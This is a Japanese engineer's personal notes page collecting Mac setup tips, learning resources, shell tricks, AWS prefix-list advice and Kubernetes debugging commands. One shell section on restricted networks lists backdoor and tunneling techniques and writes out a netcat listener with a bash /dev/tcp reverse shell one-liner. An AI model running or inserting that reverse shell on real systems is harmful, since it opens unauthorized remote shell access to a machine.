- 個人的に忘れないようにナレッジやコマンドなどを置いておく
- どんどん足していく予定
- 人に見せるものではないが、誰かの役に立つと嬉しいかも
mac
- キーリピートを早くする
- [dotfile]を作成する(https://github.com/lirlia/dotfiles)
- ソフト
- Yoink : ファイル一時置き場
- Clipy: snippet
- Alfred: ファイラー
- 【Tips】Macを快適に使いこなすために、最初に設定すべき33の項目 - iPhone Mania
- 絶対にRosetta 2を入れてはいけないM1 Mac開発環境構築 2021-2-1版
- 【Mac】ミラーリングを特定のディスプレイで実行する!2枚目と3枚目だけミラーリングしたいときにオススメ!
情報収集
- YouTube
- Innoreader / RSS
- はてなブックマーク
- quora
収集した情報はEvernoteにまとめる
検索方法 / 調べ方
- 検索場所をこだわる(YouTube / Google USA)
- 検索ワードにこだわる(英語 / いけてる会社名 / meetupなど)
best practice
,production ready
, `
- 本を買って積んでおく
- IPA資料で大枠を掴む
- 資格勉強で大枠を掴む
考え方
- これがなかったらどうなるのか?を考える
- 図で書いて人に説明する
新人向け
- 新卒の人と向き合う - Qiita
- 【図解】初心者が知っておきたいサーバ周りの仕組みの話 - Qiita
- 新人ITインフラエンジニアに役立つ学習リソース まとめ | Lab8010
- 新卒の子にどこまで勉強すれば良いですかね?と聞かれた件 - Qiita
- ロシアの天才ハッカーによる【新人エンジニアサバイバルガイド】 - Qiita
設計
実装/コマンド
shell
- 計算:
echo $((1+1))
- シェル置換
$?
- 直前のコマンド:
!cmd
- 連続コマンドの結果を1行で
- https://ja.stackoverflow.com/questions/18643/bash-%E8%A4%87%E6%95%B0%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%81%AE%E7%B5%90%E6%9E%9C%E3%82%921%E8%A1%8C%E3%81%A7%E8%A1%A8%E7%A4%BA%E3%81%97%E3%81%9F%E3%81%84:titile ->
別解です。
複数の行(行数固定)を1行にまとめる場合pasteを使います。
(uname -n ; cat /proc/meminfo | head -1) | paste - -
n行まとめたいときはpaste - -の-をn個書きます。
- シェルスクリプト リファクタリング ~遅いシェルスクリプトが供養されてたので蘇生して256倍に高速化させました~ - Qiita
- 【bash】curlやwgetが無いときに外部ファイルを取得するテクニック - フラミナル
IPアドレスからサンプルドメインを発行する
nip.io
簡易サーバ起動
- netcat
- python3:
python -m http.server 8000
- python2:
python -m SimpleHTTPServer 8000
穴あけされていない環境で頑張る
- 名前付きパイプでバックドア
- ICMPトンネリング
- SSHトンネリング / Socksプロキシ
- リバースシェル(ncコマンド)
# 攻撃者 $ nc -nvl 8000 # 被害者 $ bash -i >& /dev/tcp/localhost/8000 0>&1
AWS: IPリストをカスタムプレフィックスリストとして登録
社内プロキシIPなどを1つのリストとして管理することで、SGとかRoutetableは常にそのリストを参照すればよい。リストの管理だけを行えば、他のところに手を入れなくてよくなる。便利!!
Prefix lists - Amazon Virtual Private Cloud
Kubernetes: デバッグ
$ kubectl debug node/<NODE_NAME> -it --image=busybox or $ docker run -it --privileged xxx /bin/bash
Kubernetes: kubectl debug node でノードをデバッグする - Qiita
Kubernetes: ラベルセレクタのないサービス
外部IPを serviceで管理できる(外部ドメインではない点注意)。利用ケースとしては別VM指定など
あなたの知らないKubernetesのServiceの仕組み | IIJ Engineers Blog
異動/オンボーディング/転職
- NTT Com オンボーディングハンドブック | NTT Com オンボーディングハンドブック
- https://wapa5pow.com/posts/2021-03-31--day-one-in-project:site